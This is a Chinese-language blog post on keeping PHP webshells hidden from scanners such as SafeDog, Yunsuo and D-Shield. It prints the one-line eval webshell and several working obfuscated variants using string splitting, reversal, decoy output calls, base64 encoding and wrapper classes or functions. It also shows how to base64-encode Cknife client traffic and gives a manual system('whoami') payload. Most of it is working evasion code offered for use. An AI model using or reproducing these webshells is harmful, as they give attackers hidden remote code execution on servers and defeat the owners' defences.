WEB安全之Webshell绕过安全狗


针对PHPMYSQL架构


一句话木马

1
<?php @eval($_POST['key']);?>

安全狗,云锁,D盾属于软件级防护


查杀规则

静态文本查杀

对扫描目录中的文本中的内容进行检测,做关键字匹配

动态执行查杀

  1. webshell执行,进行数据传输时进行查杀

  2. 将可疑文件放入沙箱模拟运行,根据运行状态和结果来判断文件是否安全


规则绕过

静态文本查杀

  1. 大小写转换

    strtolower()

  2. 文本颠倒

    strrev()

  3. 文本分割

    1. 使用点分割:.

      1
      2
      3
      4
      <?php 
      $a="ass"."ert";
      $a($_POST['key']);
      ?>
    2. 使用数组分割:

      1
      2
      3
      4
      5
      <?php 
      $a=array("ass","ert");
      $a=$a[0].$a[1];
      $a($_POST['key']);
      ?>
  4. 干扰函数

    echo()

    print()

    print_r()

    var_dump()

    1
    2
    3
    4
    5
    6
    7
    <?php
    $a=array("Tre","sSA");
    $a=$a[0].$a[1];
    $b=strtolower($a);
    print_r($c=strrev($b));
    echo(var_dump($c($_POST['key'])));
    ?>
  5. 加密

    针对assert()eval()做先加密,后解密

    base64_decode()

    base64_encode()

  6. 语言特征

    1. 自定义类

      class

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?php
      class KKey{
      public function gkey($a){
      @eval($a);
      }
      }
      $key = new KKey;
      $key -> gkey($_POST['key']);
      ?>
    2. 自定义函数

      function

      1
      2
      3
      4
      5
      6
      <?php
      function gkey($a){
      @eval($a);
      }
      gkey($_POST['key']);
      ?>
    3. 函数替换

      使用assert()代替eval()

动态执行查杀

安全狗会检测Cknife传输方式进行查杀

  1. 加密传输

    1. 修改Cknife配置文件Config.ini

      1
      2
      3
      PHP_MAKE=@eval(base64_decode($_POST[action]));

      将上方变量的值进行base64加密
    2. 修改一句话木马

      1
      2
      3
      4
      5
      6
      <?php
      function gkey($a){
      @eval($a);
      }
      gkey(base64_decode($_POST['key']));
      ?>
    3. 手工利用时

      1
      2
      3
      key=eval(system("whoami"));

      将上方变量的值进行base64加密

      手工利用过程

      key值编码后传入到一句话木马文件,一句话木马文件进行解码后执行。因进行了编码,安全狗在传输过程中无法检测查杀

      Cknife利用过程

      Cknife配置文件中将传输方式进行了编码,即PHP_MAKE部分。此部分即为传送给一句话木马文件的key,一句话木马文件进行解码后执行。

      Cknife配置文件中

      PHP_MAKE为一句话木马中的参数key

      PHP_INDEXCknife中的action,用于获取目标文件目录等操作

  2. 改变传输特征

---------------The End---------------
0%